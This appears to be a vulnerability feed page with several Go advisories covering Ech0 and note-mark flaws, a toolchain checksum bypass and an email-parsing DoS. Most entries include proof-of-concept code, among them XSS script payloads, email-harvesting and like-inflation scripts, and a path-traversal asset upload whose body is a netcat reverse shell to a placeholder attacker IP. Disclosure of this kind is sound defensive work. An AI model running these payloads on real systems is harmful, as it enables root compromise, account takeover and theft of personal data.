📦 github.com/lin-snow/ech0 📌 All versions < a7e8b8e84bd1 ⛓️‍💥 هجوم سلسلة التوريد 🐹 مكتبة Go Go 🎯 عن بعد ⚪ لم تُستغل 🟢 ترقيع
💬 ### Summary **No authentication** is required to invoke **`PUT /api/echo/like/:id`**. The handler is registered on the **public** router group. The service increments **`fav_count`** for the given echo **without** checking identity, **without** a per-user limit, and **without** ...
📅 2026-05-07 OSV/Go 🔗 التفاصيل

الوصف الكامل

### Summary **No authentication** is required to invoke **`PUT /api/echo/like/:id`**. The handler is registered on the **public** router group. The service increments **`fav_count`** for the given echo **without** checking identity, **without** a per-user limit, and **without** CSRF tokens. A remote client can **arbitrarily inflate** like metrics with repeated requests. ### Description **Root cause:** The like endpoint is explicitly public (`PublicRouterGroup`). `LikeEcho` in the service layer only runs a repository increment inside a transaction—no viewer/user binding. **Security boundary that fails:** **Integrity** of engagement metrics (likes) and any trust that “likes” represent distinct or authenticated users. **Exploitation:** Discover or guess a public echo UUID (timeline, API, share link) → send **unauthenticated** `PUT` repeatedly → **`fav_count`** increases linearly. ### Affected files | Public route registration | `internal/router/echo.go` | | Like mutation (no auth check) | `internal/service/echo/echo.go` | | Handler | `internal/handler/echo/echo.go` | ### Vulnerable / relevant code **Public PUT route:** ```11:13:Ech0/internal/router/echo.go // Public appRouterGroup.PublicRouterGroup.PUT("/echo/like/:id", h.EchoHandler.LikeEcho()) appRouterGroup.PublicRouterGroup.GET("/tags", h.EchoHandler.GetAllTags()) ``` **Service does not use viewer / rate limit:** ```244:248:Ech0/internal/service/echo/echo.go func (echoService *EchoService) LikeEcho(ctx context.Context, id string) error { return echoService.transactor.Run(ctx, func(txCtx context.Context) error { return echoService.echoRepository.LikeEcho(txCtx, id) }) } ``` ### Execution flow 1. Client resolves `ECHO_ID` (e.g. `GET /api/echo/page` with any valid token, or from UI). 2. Client sends **`PUT /api/echo/like/{ECHO_ID}`** with **no** `Authorization` header. 3. Gin matches **public** route → handler → `EchoService.LikeEcho` → DB increments **`fav_count`**. 4. Repeat N times → count increases by N. ### Proof of concept ```bash BASE="http://127.0.0.1:6277" OWNER_TOKEN=$(curl -sS -X POST "$BASE/api/login" \ -H "Content-Type: application/json" \ -d '{"username":"owner","password":"OwnerPass123"}' | jq -r '.data') ECHO_ID=$(curl -sS "$BASE/api/echo/page?page=1&page_size=1" \ -H "Authorization: Bearer $OWNER_TOKEN" | jq -r '.data.items[0].id') # Single unauthenticated like curl -sS -w "\nHTTP:%{http_code}\n" -X PUT "$BASE/api/echo/like/$ECHO_ID" # Inflate (e.g. 55 times); expect HTTP 200 each time for i in $(seq 1 55); do curl -sS -o /dev/null -w "%{http_code}\n" -X PUT "$BASE/api/echo/like/$ECHO_ID" done # Observe fav_count curl -sS "$BASE/api/echo/$ECHO_ID" | jq '.data | {id, fav_count}' ``` **Observed proof (manual test):** - Each unauthenticated `PUT` returned **HTTP `200`** with success JSON (e.g. `点赞Echo成功`, `code:1`). - **`fav_count`** increased to **113** , demonstrating **linear inflation from one client** with **no authentication**. <img width="1109" height="188" alt="Screenshot 2026-04-01 105522" src="https://github.com/user-attachments/assets/a725cf10-d20b-45a1-95bb-2e8ea396c08c" /> ### Impact **Like counts and ranking/social proof** can be falsified; feeds or “popular” logic tied to `fav_count` are untrustworthy. high-volume loops add DB write load; possible abuse against availability at scale. **Attacker capability:** Anyone on the network can manipulate **public** engagement metrics for any known echo id. Combined with permissive **CORS** browsers could automate cross-origin requests. ## Remediation Require authentication for likes and enforce **one like per principal**, **or** keep anonymous likes but add **rate limiting**, **proof-of-work / captcha**, or **signed tokens** tied to anon sessions; document that counts are **not** auditor-grade metrics.

الإصدارات المتأثرة

All versions < a7e8b8e84bd1

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N

غير محدد
📦 github.com/lin-snow/Ech0 📌 All versions < fd320fe3e902 ⛓️‍💥 هجوم سلسلة التوريد 🐹 مكتبة Go Go 🎯 عن بعد ⚪ لم تُستغل 🟢 ترقيع
💬 ## Summary The public RSS/Atom feed at `/rss` renders two attacker-controlled surfaces without HTML escaping. Tag names flow through `fmt.Appendf(renderedContent, "<br /><span class=\"tag\">#%s</span>", tag.Name)` at `internal/service/common/common.go:120`, and the Markdown rend...
📅 2026-05-07 OSV/Go 🔗 التفاصيل

الوصف الكامل

## Summary The public RSS/Atom feed at `/rss` renders two attacker-controlled surfaces without HTML escaping. Tag names flow through `fmt.Appendf(renderedContent, "<br /><span class=\"tag\">#%s</span>", tag.Name)` at `internal/service/common/common.go:120`, and the Markdown renderer at `internal/util/md/md.go` does not set the `html.SkipHTML` flag, so raw HTML blocks in echo content pass through unmodified. The resulting Atom `<summary type="html">` is valid XML but contains executable `<script>` tags after the RSS reader decodes it. RSS subscribers whose readers render HTML (including many self-hosted and desktop clients) execute attacker JavaScript in the reader's origin. ## Details Tag sink at `internal/service/common/common.go:120`: ```go if len(msg.Tags) > 0 { for _, tag := range msg.Tags { renderedContent = fmt.Appendf(renderedContent, "<br /><span class=\"tag\">#%s</span>", tag.Name) } } ``` `fmt.Appendf` with `%s` does not HTML-escape. Tag names come from user-supplied `EchoUpsertDto.Tags` and are persisted after `strings.TrimSpace(strings.TrimPrefix(tag.Name, "#"))` at `internal/service/echo/echo.go:326`, which strips a leading `#` and trims whitespace but does nothing about HTML metacharacters. A tag name of `</span><script>document.title='RSS-XSS-HIT'</script><span>x` breaks out of the surrounding `<span>` element and injects executable JavaScript into the RSS `summary` field. Markdown sink at `internal/util/md/md.go`: ```go htmlFlags := html.CommonFlags | html.Safelink | html.HrefTargetBlank | html.NoopenerLinks | html.NoreferrerLinks // html.SkipHTML is NOT set ``` The `gomarkdown` library passes raw HTML through when `SkipHTML` is not set. `MdToHTML([]byte(msg.Content))` at `internal/service/common/common.go:102` produces the rendered HTML for the echo body; tag markup is appended to that output at line 120 and the combined byte slice becomes the RSS `summary` field. The RSS feed declares `<summary type="html">`, which per Atom RFC 4287 §3.1.1.3 means the content is HTML encoded as XML. RSS readers that render HTML decode the XML entities and pass the decoded string to an HTML renderer. Any script tag survives this round-trip. Echo creation requires admin role (`internal/service/echo/echo.go:54-56` checks `user.IsAdmin`). In a single-admin Ech0 instance this is self-attack. In a multi-admin deployment (non-owner admins promoted by the owner), one admin injects XSS into the shared RSS feed consumed by other admins, registered users, and anonymous subscribers. Prior precedent: GHSA-69hx-63pv-f8f4 (2026-04-09) accepted stored XSS via SVG file upload, with the same "admin creates content" precondition. Cross-subscriber RSS XSS from one admin belongs to the same class. ## Proof of Concept Default install, admin account seeds malicious tag + markdown content, anonymous subscriber fetches `/rss` and the decoded summary contains executable `<script>`: ```python import requests, xml.etree.ElementTree as ET, html TARGET = "http://localhost:8300" # Admin creates two echoes: one with a hostile tag name, one with raw-HTML markdown. owner = requests.post(f"{TARGET}/api/login", json={"username": "owner", "password": "owner-pw"} ).json()["data"]["access_token"] tag_payload = "</span><script>document.title='RSS-XSS-HIT'</script><span>x" md_payload = "<script>document.title='MD-XSS-HIT'</script>normal text" requests.post(f"{TARGET}/api/echos", headers={"Authorization": f"Bearer {owner}", "content-type": "application/json"}, json={"content": "echo with malicious tag", "tags": [tag_payload]}) requests.post(f"{TARGET}/api/echos", headers={"Authorization": f"Bearer {owner}", "content-type": "application/json"}, json={"content": md_payload}) # Anyone fetches /rss anonymously. feed = requests.get(f"{TARGET}/rss").text root = ET.fromstring(feed) ns = {"atom": "http://www.w3.org/2005/Atom"} for entry in root.findall("atom:entry", ns): summary = entry.find("atom:summary", ns) decoded = html.unescape(summary.text or "") if "<script>" in decoded.lower(): print(f" *** EXECUTABLE <script> in decoded summary ***") print(f" raw: {(summary.text or '')[:200]!r}") print(f" decoded: {decoded[:200]!r}") ``` Observed on v4.5.6: ``` *** EXECUTABLE <script> in decoded summary *** raw: "<p><script>document.title=&lsquo;MD-XSS-HIT&rsquo;</script>normal text</p>\n" decoded: "<p><script>document.title='MD-XSS-HIT'</script>normal text</p>\n" *** EXECUTABLE <script> in decoded summary *** raw: '<p>echo with malicious tag</p>\n<br /><span class="tag">#</span><script>document.title=\'RSS-XSS-HIT\'</script><span>x</span>' decoded: '<p>echo with malicious tag</p>\n<br /><span class="tag">#</span><script>document.title=\'RSS-XSS-HIT\'</script><span>x</span>' ``` Two separate `<script>` tags land in the public RSS feed: one via the tag-name sink, one via the markdown raw-HTML sink. Any RSS reader that decodes `type="html"` content and renders the HTML (common in self-hosted readers like Tiny Tiny RSS and FreshRSS's default settings, and in several desktop readers) executes the script. ## Impact A non-owner admin with echo-creation rights (or the owner themselves if RSS pushes to subscribers the owner did not hand-pick) injects persistent JavaScript into the public RSS feed. The RSS feed reaches: - **Anonymous subscribers** who follow the blog's RSS URL in their reader. - **Registered non-admin users** who may subscribe to the feed. - **Other admins** on the same instance. Each subscriber whose reader renders `type="html"` content runs the attacker's script in the reader's origin. Depending on the reader, the payload: - Reads the reader's own UI tokens and exfiltrates them. - Makes authenticated requests to other feeds the reader polls (cross-feed data theft). - Plants phishing content that looks like a legitimate feed entry. The class is stored XSS with cross-user reach. Severity compared to GHSA-69hx-63pv-f8f4 (SVG-upload stored XSS, accepted as Medium): reach is similar (anonymous subscribers via a published feed URL), and the admin precondition matches. ## Recommended Fix Two independent fixes, both needed. Tag names: HTML-escape before interpolation. ```go for _, tag := range msg.Tags { renderedContent = fmt.Appendf(renderedContent, "<br /><span class=\"tag\">#%s</span>", html.EscapeString(tag.Name)) } ``` Markdown: add `html.SkipHTML` to the renderer flags so raw HTML in echo markdown is stripped. ```go htmlFlags := html.CommonFlags | html.Safelink | html.HrefTargetBlank | html.NoopenerLinks | html.NoreferrerLinks | html.SkipHTML ``` Validate tag names at creation time too. A central validator in `EchoService.Create` that rejects tags containing `<`, `>`, or `"` removes the attacker payload before it reaches the DB: ```go for _, name := range newEcho.Tags { if strings.ContainsAny(name, "<>\"'&") { return errors.New(commonModel.INVALID_TAG_NAME) } } ``` --- *Found by [aisafe.io](https://aisafe.io)*

الإصدارات المتأثرة

All versions < fd320fe3e902

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:N

غير محدد
📦 github.com/lin-snow/Ech0 📌 All versions < cb8d7a997dd8 ⛓️‍💥 هجوم سلسلة التوريد 🐹 مكتبة Go Go 🎯 عن بعد ⚪ لم تُستغل 🟢 ترقيع
💬 ## Summary The `Comment` model serializes its `Email` field through the public comment-listing API. `internal/model/comment/comment.go:33` uses `json:"email"`, while adjacent PII fields (`IPHash`, `UserAgent`) correctly use `json:"-"`. The public endpoints `GET /api/comments?ech...
📅 2026-05-07 OSV/Go 🔗 التفاصيل

الوصف الكامل

## Summary The `Comment` model serializes its `Email` field through the public comment-listing API. `internal/model/comment/comment.go:33` uses `json:"email"`, while adjacent PII fields (`IPHash`, `UserAgent`) correctly use `json:"-"`. The public endpoints `GET /api/comments?echo_id=X` and `GET /api/comments/public?limit=N` both live on `PublicRouterGroup` with no authentication. Alice retrieves every guest commenter's email address on the instance with a few unauthenticated HTTP calls. ## Details The Comment model at `internal/model/comment/comment.go:33`: ```go type Comment struct { // ... Email string `gorm:"size:255;not null;index" json:"email"` IPHash string `gorm:"size:128;index" json:"-"` UserAgent string `gorm:"size:512" json:"-"` // ... } ``` The `json:"-"` on `IPHash` and `UserAgent` shows the developer's intent: hide server-side PII from API responses. The `Email` field missed the same tag. GORM materializes the full struct and the Gin handler returns it verbatim. Routes at `internal/router/comment.go:20` and comment public-feed route: ```go appRouterGroup.PublicRouterGroup.GET("/comments", middleware.NoCache(), h.CommentHandler.ListCommentsByEchoID()) appRouterGroup.PublicRouterGroup.GET("/comments/public", middleware.NoCache(), h.CommentHandler.ListPublicComments()) ``` Both handlers call `ListPublicByEchoID` (service at `internal/service/comment/comment.go:329`) or `ListPublicComments` (service at `:340`), both of which return the slice of `Comment` structs to `ctx.JSON`. No DTO projection, no field stripping. The email field is populated for every guest comment: the submission form requires an email address so the server can later send moderation or reply notifications. The UI does not display the email, so users assume it stays server-side. GHSA-m983-7426-5hrj (2026-03-22) closed a similar PII leak on `GET /api/allusers`, which exposed account-owner emails. This report covers a distinct endpoint (`/api/comments` and `/api/comments/public`) and a distinct data subject (guest commenters, not registered account owners). ## Proof of Concept Anonymous caller harvests commenter emails on the default install: ```python import requests TARGET = "http://localhost:8300" # Any echo UUID from the public feed. pub_id = requests.get(f"{TARGET}/api/echo/page?page=1&pageSize=1").json()["data"]["items"][0]["id"] # No auth header. The response includes the raw email field. r = requests.get(f"{TARGET}/api/comments", params={"echo_id": pub_id}) for c in r.json()["data"]: print(f" nickname={c['nickname']!r} email={c.get('email')!r}") # The /public variant returns recent comments across every echo. r = requests.get(f"{TARGET}/api/comments/public", params={"limit": 100}) emails = {c.get("email") for c in r.json()["data"] if c.get("email")} print(f"harvested {len(emails)} unique emails from /comments/public") ``` Observed on v4.5.6: ``` nickname='GuestHarvestMe' email='leaked-harvest-target@example.com' harvested 1 unique emails from /comments/public ``` The instance had one guest comment; its email returned in both endpoints. An instance with any commenter volume returns every address. ## Impact Anonymous harvest of every guest commenter's email address across the instance. Email addresses submitted for moderation or reply notifications are treated as private by user expectation; any visitor pulls the full list with a short paginated loop against `/api/comments/public`. Privacy-regulation exposure follows: - **GDPR and CCPA.** Email is personal data. Exposing it to any internet visitor without consent is a notifiable incident under both regimes. - **Spam and phishing targeting.** Attackers map commenter emails to nicknames and per-echo topics, then send targeted phishing that references content the victim engaged with. - **Cross-instance aggregation.** A scraper against any public-facing Ech0 instance yields a curated list of people who comment on the topics the site covers. No authentication required. No admin role required. The `/comments/public` endpoint returns cross-echo aggregated data, so one call covers the whole instance. ## Recommended Fix Change the JSON tag on the Email field to match the adjacent PII fields: ```go Email string `gorm:"size:255;not null;index" json:"-"` ``` Or, if some authenticated view needs the email, introduce a `PublicComment` DTO that projects only non-sensitive fields: ```go type PublicComment struct { ID string `json:"id"` EchoID string `json:"echo_id"` Nickname string `json:"nickname"` Website string `json:"website,omitempty"` Content string `json:"content"` Status string `json:"status"` Hot bool `json:"hot"` Source string `json:"source"` CreatedAt int64 `json:"created_at"` UpdatedAt int64 `json:"updated_at"` } ``` Project the handler output through this DTO. Keep the raw `Comment` struct internal to the service layer. --- *Found by [aisafe.io](https://aisafe.io)*

الإصدارات المتأثرة

All versions < cb8d7a997dd8

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N

حرجة
📦 github.com/enchant97/note-mark/backend 📌 All versions < 18b587758667 ⛓️‍💥 هجوم سلسلة التوريد 🐹 مكتبة Go Go 🎯 عن بعد ⚪ لم تُستغل 🟢 ترقيع
💬 #### Summary No minimum length or entropy is enforced on the `JWT_SECRET` configuration value. The application accepts any base64-decodable secret regardless of size, including secrets as short as 1 byte. HS256 secrets below 32 bytes are brute-forceable offline, allowing attack...
📅 2026-05-07 OSV/Go 🔗 التفاصيل

الوصف الكامل

#### Summary No minimum length or entropy is enforced on the `JWT_SECRET` configuration value. The application accepts any base64-decodable secret regardless of size, including secrets as short as 1 byte. HS256 secrets below 32 bytes are brute-forceable offline, allowing attackers to recover the signing key and forge valid JWTs for arbitrary users. --- #### Impact An attacker who captures a single valid JWT (e.g, from cookies, logs, or network traffic) can: \> Crack the signing secret offline using brute-force or wordlist attacks \> Forge valid JWTs for any user ID (including administrators) \> Authenticate without knowing any credentials This results in **full account takeover across the entire application** with no server-side detection or rate limiting possible. --- #### Details In `backend/config/utils.go`, the `Base64Decoded.UnmarshalText` function decodes the JWT secret but does not validate its length or entropy. In `backend/core/auth.go`, JWT tokens are signed using HS256 without enforcing minimum key size requirements. According to **RFC 7518 Section 3.2**, HS256 keys must be at least 256 bits (32 bytes). Libraries such as PyJWT explicitly warn against shorter keys, but note-mark performs no such validation. --- ### PoC 1- Deploy note-mark with a weak secret: ``` JWT_SECRET = base64("testsecret123456789012345") ``` 2- Register an account and capture the `Auth-Session-Token` cookie 3- Crack the secret offline (example using Python): ```python import jwt, base64 jwt.decode(TOKEN, base64.b64decode(SECRET), algorithms=["HS256"]) ``` 4- Forge a new token for any user UUID with extended expiry 5- Send the forged token in requests → server returns **200 Ok** and authenticates as that user --- ### Reproduction Steps 1- Deploy the application with a JWT secret shorter than 32 bytes (after base64 decoding) 2- Authenticate and capture a valid JWT 3- Perform offline brute-force or dictionary attack against the token signature 4- Recover the secret 5- Generate a forged JWT for another user 6- Use the forged token to access protected endpoints --- ### Fix Recommendation * Enforce a **minimum of 32 bytes (256 bits)** for JWT secrets after base64 decoding * Reject weak secrets during configuration parsing (e.g., in `Base64Decoded.UnmarshalText` or config validation) * Optionally log warnings or fail startup if the secret is insecure --- ### Resources * RFC 7518 Section 3.2 (JSON Web Algorithms - HMAC key size requirements) * CWE-326: Inadequate Encryption Strength * CWE-345: Insufficient Verification of Data Authenticity ---

الإصدارات المتأثرة

All versions < 18b587758667

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:N

عالية
📦 github.com/enchant97/note-mark/backend 📌 All versions < db3f72bff780 ⛓️‍💥 هجوم سلسلة التوريد 🐹 مكتبة Go Go 🎯 عن بعد ⚪ لم تُستغل 🟢 ترقيع
💬 ### Description The Note Mark application allows authenticated users to upload assets to notes via `POST /api/notes/{noteID}/assets`, where the asset filename is provided through the `X-Name` HTTP request header. This value is stored directly in the database without any sanitiza...
📅 2026-05-07 OSV/Go 🔗 التفاصيل

الوصف الكامل

### Description The Note Mark application allows authenticated users to upload assets to notes via `POST /api/notes/{noteID}/assets`, where the asset filename is provided through the `X-Name` HTTP request header. This value is stored directly in the database without any sanitization or validation - no path separator filtering, no directory traversal sequence rejection, and no use of `filepath.Base()` to strip directory components. The unsanitized name is persisted as-is in the `note_assets` table (`Name` column, `varchar(80)`). When an administrator subsequently runs the data export CLI commands (`note-mark migrate export-v1` or `note-mark migrate export`), the stored asset name is passed directly into `filepath.Join()` and `path.Join()` calls as part of the output file path argument to `os.Create()`. Since Go's `filepath.Join()` resolves `../` sequences during path normalization, an attacker-controlled asset name containing directory traversal sequences causes the export process to write files to arbitrary locations on the filesystem, completely outside the intended export directory. The export process typically runs as root (the default in Docker deployments and common in bare-metal setups). This means the arbitrary file write operates with root privileges, allowing an attacker to write to any writable location on the filesystem. This can be escalated to Remote Code Execution by overwriting system binaries such as `/bin/bash` with a malicious payload. Since the Go binary is statically compiled and does not shell out to external programs during the export, overwriting `/bin/bash` does not affect the running export process. However, the next time any user or administrator invokes `bash` on the system, the attacker-controlled binary executes instead, resulting in code execution as root. In environments with cron or systemd, writing to `/etc/cron.d/` or systemd unit files provides additional exploitation paths. The data flow is: `X-Name` HTTP header > `handlers/assets.go` (no validation) > `services/assets.go` (stored to DB as-is) > `cli/migrate.go` (used in `os.Create(filepath.Join(..., asset.Name))`) > arbitrary file write. #### Source Code Analysis The asset upload handler at `backend/handlers/assets.go:48-51` extracts the filename directly from the `X-Name` header: ```go type PostNoteAssetInput struct { NoteID uuid.UUID `path:"noteID" format:"uuid"` Name string `header:"X-Name" required:"true"` RawBody []byte `required:"true"` } ``` The service layer at `backend/services/assets.go:39-42` stores this value without validation: ```go noteAsset := db.NoteAsset{ NoteID: noteID, Name: name, } ``` The V1 export function at `backend/cli/migrate.go:328` uses the unsanitized name directly: ```go f, err := os.Create(filepath.Join(noteDir, asset.Name)) ``` The non-V1 export function at `backend/cli/migrate.go:223` similarly uses it: ```go f, err := os.Create(path.Join(assetsDir, asset.ID.String()+"."+asset.Name)) ``` In both cases, `filepath.Join` / `path.Join` resolves `../` sequences in `asset.Name`, causing the resulting path to escape the intended directory. ### Steps to Reproduce 1. Start a Note Mark instance (version 0.19.2 or earlier) using the official Docker image: `docker run -d --name notemark -p 8080:8080 -e JWT_SECRET="$(openssl rand -base64 32)" -e PUBLIC_URL="http://localhost:8080" ghcr.io/enchant97/note-mark-aio:0.19.2` 2. Register a user account: `curl -s -X POST http://localhost:8080/api/users -H 'Content-Type: application/json' -d '{"username":"attacker","password":"Attack3r!","name":"attacker"}'` 3. Authenticate and capture the session cookie: `curl -s -D - -X POST http://localhost:8080/api/auth/token -H 'Content-Type: application/json' -d '{"username":"attacker","password":"Attack3r!","grant_type":"password"}'`. Save the `Auth-Session-Token` cookie value from the `Set-Cookie` response header. 4. Create a notebook: `curl -s -X POST http://localhost:8080/api/books -H 'Content-Type: application/json' -b 'Auth-Session-Token=<TOKEN>' -d '{"name":"test","slug":"test"}'`. Note the returned `id` as `BOOK_ID`. 5. Create a note in the notebook: `curl -s -X POST http://localhost:8080/api/books/<BOOK_ID>/notes -H 'Content-Type: application/json' -b 'Auth-Session-Token=<TOKEN>' -d '{"name":"test","slug":"test"}'`. Note the returned `id` as `NOTE_ID`. 6. Upload an asset with a reverse shell payload in the body and a path traversal filename in the `X-Name` header targeting `/bin/bash`: `curl -s -X POST http://localhost:8080/api/notes/<NOTE_ID>/assets -b 'Auth-Session-Token=<TOKEN>' -H 'X-Name: ../../../../../../bin/bash' -H 'Content-Type: application/octet-stream' -d '#!/bin/sh\nnc <ATTACKER_IP> <PORT> -e /bin/sh'`. Confirm the response contains `"name":"../../../../../../bin/bash"`, showing the traversal payload was stored without sanitization. 7. Trigger the export as an administrator (simulating the admin running a routine data export): `docker exec notemark /note-mark migrate export-v1 --export-dir /data/backup` 8. Verify `/bin/bash` was overwritten with the attacker payload: `docker exec notemark cat /bin/bash`. The file should contain the reverse shell script instead of the original bash binary, confirming arbitrary file write. 9. Start a listener on the attacker machine (`nc -lvnp <PORT>`), then invoke bash on the target: `docker exec notemark bash`. A reverse shell connects back to the attacker as root, confirming Remote Code Execution. #### Proof of Concept (Video) [note-mark-path-traversal-rce.webm](https://github.com/user-attachments/assets/6969a00a-3ad1-4e30-b5ce-9e780da4fa2b) ### Recommendations The root cause is the complete absence of input validation on the `X-Name` header value used as the asset filename. The fix should be applied at two layers. At the input layer in the asset upload handler, the application should reject any asset name containing path separators (`/`, `\`) or directory traversal sequences (`..`). The simplest approach is to apply `filepath.Base()` to the incoming name, which strips all directory components and returns only the final filename element. Names that resolve to empty strings or `.` after this operation should be rejected. This validation should be applied in the `PostNoteAsset` handler before the name reaches the service layer. At the export layer in the CLI migration code, the application should apply `filepath.Base()` to `asset.Name` before using it in any file path construction as a defense-in-depth measure. This ensures that even if a malicious name exists in the database (from before the input validation was added), the export process cannot be exploited. Both the V1 export path at `migrate.go:328` and the standard export path at `migrate.go:223` require this fix. Reported By: Ravindu Wickramasinghe (rvz) - Zyenra Security - www.zyenra.com

الإصدارات المتأثرة

All versions < db3f72bff780

CVSS Vector

CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:P/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N

7.5/10 عالية
📦 toolchain 📌 1.26.0-0 - 1.25.10 ⛓️‍💥 هجوم سلسلة التوريد 🐹 مكتبة Go Go ⚡ CWE-347 🎯 عن بعد ⚪ لم تُستغل 🟢 ترقيع
💬 A malicious module proxy can exploit a flaw in the go command's validation of module checksums to bypass checksum database validation. This vulnerability affects any user using an untrusted module proxy (GOMODPROXY) or checksum database (GOSUMDB). A malicious module proxy can s...
📅 2026-05-07 NVD 🔗 التفاصيل

الوصف الكامل

A malicious module proxy can exploit a flaw in the go command's validation of module checksums to bypass checksum database validation. This vulnerability affects any user using an untrusted module proxy (GOMODPROXY) or checksum database (GOSUMDB). A malicious module proxy can serve altered versions of the Go toolchain. When selecting a different version of the Go toolchain than the currently installed toolchain (due to the GOTOOLCHAIN environment variable, or a go.work or go.mod with a toolchain line), the go command will download and execute a toolchain provided by the module proxy. A malicious module proxy can bypass checksum database validation for this downloaded toolchain. Since this vulnerability affects the security of toolchain downloads, setting GOTOOLCHAIN to a fixed version is not sufficient. You must upgrade your base Go toolchain. The go tool always validates the hash of a toolchain before executing it, so fixed versions will refuse to execute any cached, altered versions of the toolchain. The go tool trusts go.sum files to contain accurate hashes of the current module's dependencies. A malicious proxy exploiting this vulnerability to serve an altered module will have caused an incorrect hash to be recorded in the go.sum. Users who have configured a non-trusted GOPROXY can determine if they have been affected by running "rm go.sum ; go mod tidy ; go mod verify", which will revalidate all dependencies of the current module. The specific flaw in more detail: The go command consults the checksum database to validate downloaded modules, when a module is not listed in the go.sum file. It verifies that the module hash reported by the checksum database matches the hash of the downloaded module. If, however, the checksum database returns a successful response that contains no entry for the module, the go command incorrectly permitted validation to succeed. A module proxy may mirror or proxy the checksum database, in which case the go command will not connect to the checksum database directly. Checksums reported by the checksum database are cryptographically signed, so a malicious proxy cannot alter the reported checksum for a module. However, a proxy which returns an empty checksum response, or a checksum response for an unrelated module, could cause the go command to proceed as if a downloaded module has been validated.

الإصدارات المتأثرة

1.26.0-0 - 1.25.10

نوع الثغرة

CWE-347 — CWE-347

CVSS Vector

CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H

7.5/10 عالية
📦 stdlib 📌 1.26.0-0 - 1.25.10 ⛓️‍💥 هجوم سلسلة التوريد 🐹 مكتبة Go Go 🎯 عن بعد ⚪ لم تُستغل 🟢 ترقيع
💬 Pathological inputs could cause DoS through consumePhrase when parsing an email address according to RFC 5322.
📅 2026-05-07 NVD 🔗 التفاصيل

الوصف الكامل

Pathological inputs could cause DoS through consumePhrase when parsing an email address according to RFC 5322.

الإصدارات المتأثرة

1.26.0-0 - 1.25.10

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H